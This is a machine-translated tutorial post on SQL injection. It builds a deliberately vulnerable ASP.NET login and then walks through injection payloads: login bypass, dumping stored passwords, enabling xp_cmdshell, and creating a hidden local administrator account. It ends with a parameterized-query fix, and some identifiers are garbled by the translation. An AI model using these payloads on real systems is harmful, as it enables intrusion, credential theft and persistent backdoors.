SQL Injection risks -- a Login wins the Server

Source: Internet
Author: User
Tags basic sql injection

SQL Injection risks -- a Login wins the Server

 

This article describes basic SQL injection techniques, harms, and solutions.

The technology is a little scum, so do not spray it ....

I. databases.

Only one Admin table is created with the following structure:

create table Admin (   Id int primary key identity(1,1) not null,   Username nvarchar(50) not null,  Password nvarchar(50) not null ) go

Insert the following three test data:

Ii. Web project

Here for demonstration, I only set up a simple three-layer structure (ASP. NET MVC as UI, DAL, BLL) and Model:

 

 

1. AdminInfo. cs at the Model layer:
Using System; using System. collections. generic; using System. linq; using System. text; namespace Guying. blogsDemo. model {// <summary> // Admin Model /// </summary> public class AdminInfo {// <summary> /// No. /// </summary> public int Id {get; set ;}//< summary> /// account /// </summary> public string Username {get; set ;} /// <summary> /// Password /// </summary> public string Password {get; set ;}}}
2. Add a connection string in Web. config:
<connectionStrings>     <add name="BlogDemo" connectionString="server=.;database=BlogDemo;uid=sa;pwd=LonelyShadow" providerName="System.Data.SqlClient"/>  </connectionStrings>

 

3. DBHelper. cs helper class on the DAL data layer:
Using System; using System. collections. generic; using System. configuration; using System. linq; using System. text; namespace Guying. blogsDemo. DAL {// <summary> /// Data Access helper class /// </summary> public class DBHelper {/// <summary> /// BlogDemo database link string // /</summary> public static readonly string CONNECTIONSTRING = ConfigurationManager. connectionStrings ["BlogDemo"]. connectionString ;}}
4. In AdminService. cs of the DAL data layer, a log-on Login method is written (SQL Injection exists ):
Using System; using System. collections. generic; using System. linq; using System. text; using System. data. sqlClient; using Guying. blogsDemo. model; namespace Guying. blogsDemo. DAL {// <summary> // provide Admin data /// </summary> public class AdminService {// <summary> // Admin logon // </summary> /// <param name = "adminInfo"> logon target object </param> /// <returns> returns the result object, null indicates logon Failure </returns> public AdminInfo Login (AdminInfo adminInfo) {AdminInfo result = null; string SQL = string. format ("select Id, Username, Password from Admin where Username = '{0}' and Password = '{1}'", adminInfo. username, adminInfo. password); using (SqlConnection conn = new SqlConnection (DBHelper. CONNECTIONSTRING) {conn. open (); using (SqlCommand comm = new SqlCommand (SQL, conn) {using (SqlDataReader reader = comm. executeReader () {if (reader. read () {result = new AdminInfo () {Id = (int) reader ["Id"], Username = reader ["Username"]. toString (), Password = reader ["Password"]. toString () };}}} return result ;}}}

 

5. AdminManager. cs of BLL business logic:
Using System; using System. collections. generic; using System. linq; using System. text; using Guying. blogsDemo. DAL; using Guying. blogsDemo. model; namespace Guying. blogsDemo. BLL {public class AdminManager {private AdminService _ AdminService = null; public AdminManager () {if (_ AdminService = null) {_ AdminService = new AdminService ();}} /// <summary> // Admin logon // </summary> /// <param name = "adminInfo"> logon target object </param> /// <returns> return result object, null indicates Logon Failed </returns> public AdminInfo Login (AdminInfo adminInfo) {return _ AdminService. login (adminInfo );}}}
6. HomeController at WebUI layer:
using System; using System.Collections.Generic; using System.Linq;  using System.Web; using System.Web.Mvc;  using Guying.BlogsDemo.Model;using Guying.BlogsDemo.BLL; using System.Text; namespace Guying.BlogsDemo.WebUI.Controllers {     public class HomeController : Controller     {         [HttpGet]         public ActionResult Login()        {            return View();        }       [HttpPost]        public ActionResult Login(AdminInfo adminInfo)         {            AdminManager _AdminManager = new AdminManager();             adminInfo = _AdminManager.Login(adminInfo);             JsonResult json = new JsonResult() { Data = adminInfo, ContentEncoding = Encoding.UTF8 };            return json;         }      } }

 

7. Views/Home/Login of WebUI:
@ Model Guying. BlogsDemo. Model. AdminInfo @ {ViewBag. Title = "Login" ;}< link href = "~ /CSS/home.login.css "rel =" stylesheet "/> <div class =" box-max "> 

 

8. WebUIHome/Login css:
*{transition:all 0.3s;} body{margin:0px; padding:0px; background-color:#F8F8F8;} .box-max{ width:500px; margin:100px auto; border:1px solid #CCC; padding:10px; border-radius:10px; background-color:#FFFFFF;} .box-max table{width:100%;} .box-max table tr{line-height:40px;} .box-max table th{text-align:right;} .box-max table td input{width:100%;} .box-max table tr:last-child input{width:auto; padding:5px 10px; background-color:#FFF; border:1px solid black; border-radius:5px; cursor:pointer;}.box-max table tr:last-child input:hover{background-color:#EFEFEF; text-decoration:underline;}

 

9. Running result:

Iii. injection 1. Not much nonsense, direct test injection.

Account: 'or 1 = 1 --, password (random): fuck, the result is as follows:

Do you still think the injection is just to bypass the login to enter the website? Then you are wrong.

The returned result is a Json file containing the entire user information ?!

This is also a serious improper program design!

I don't know if you remember a hotel or a recruitment website a while ago. It was because of the mobile App that was captured and captured a request. If you submit an id, all the basic information is returned.

Eventually, tens of millions of Data leaks.

This operation is similar to the following:

2. Get all user information:

The primary key field is required here. I will not inject the detection. Suppose we have detected that the primary key is ID.

Then we can log on and write the password as follows (the password is random ):

Account: 'or (1 = 1 and Id = 1) --, return result: {"Id": 1, "Username": "admin", "Password ": "admin1234 "};

Account: 'or (1 = 1 and Id = 2) --, return result: {"Id": 2, "Username": "zhangsan", "Password ": "666666 "};

Account: 'or (1 = 1 and Id = 3) --, return result: {"Id": 3, "Username": "lisi", "Password ": "888888 "}

If we write a program and send this request cyclically to save the obtained data, will your user data pants be cleaned up?

3. Next, enable the classic xp_javasshell (you can't understand Google ):

Account: 'or 1 = 1; exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure ;--

You don't need to check the results of the subsequent operations. It also returns the Json of the user logging on to the front, but the subsequent code has been successfully executed.

Then, xp_mongoshell has obtained it. What else do you want to do?

Here I will only perform a conceptual test to demonstrate its hazards.

Depending on the project, injection may cause more serious consequences.

Of course, you can also create files and add tasks, for example:

Add a hidden account and promote it to the Administrator group:

Enter the account: 'or 1 = 1; exec xp_cmdshell' echo net user $ fuck 123456/add> D: \. bat & echo net localgroup administrators $ fuck/add> D: \. bat & echo exit> D: \. bat '--

Modify permissions/owner:

Fill in the account: 'or 1 = 1; exec xp_cmdshell' icacls D: \ a. bat/setowner everyone & icacls D: \ a. bat/grant everyone: f '--

Run:

Enter 'or 1 = 1; exec xp_cmdshell 'd: & D: \ a. bat '--

Result:

Well, you can understand the DOS above.

Of course, you can also use DOS xxxxxxxxxxxxxxxxxxxxxxxxxxx...

4. How to avoid

This should be simple. It is actually a problem of our daily coding habits.

When you log on to SQL, you can use SqlParameter TO PASS Parameters. You can set the return bool to identify the success or failure. The modified method is as follows: write code at ordinary times. Pay more attention to these problems.

Using System; using System. collections. generic; using System. linq; using System. text; using System. data. sqlClient; using Guying. blogsDemo. model; namespace Guying. blogsDemo. DAL {// <summary> // provide Admin data /// </summary> public class AdminService {// <summary> // Admin logon // </summary> /// <param name = "adminInfo"> log on to the target object </param> /// <returns>. The operation result is returned, true success/false Failure </returns> public bool Login (AdminInfo adminInfo) {int count = 0; string SQL = "select count (1) from Admin where Username = @ Username and Password = @ Password "; using (SqlConnection conn = new SqlConnection (DBHelper. CONNECTIONSTRING) {conn. open (); using (SqlCommand comm = new SqlCommand (SQL, conn) {comm. parameters. addRange (new [] {new SqlParameter ("@ Username", adminInfo. username), new SqlParameter ("@ Password", adminInfo. password)}); count = (int) comm. executeScalar () ;}} return count> 0 ;}}}

Of course, the stored procedure of the database is not a salted fish. Remember to use it more often.

5. No

I just want to demonstrate the hazards. I should not have the injection problem when I got there.

After all, each project is different, and the injection may cause any problems.

Finally ........... Do not spray. What ~

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.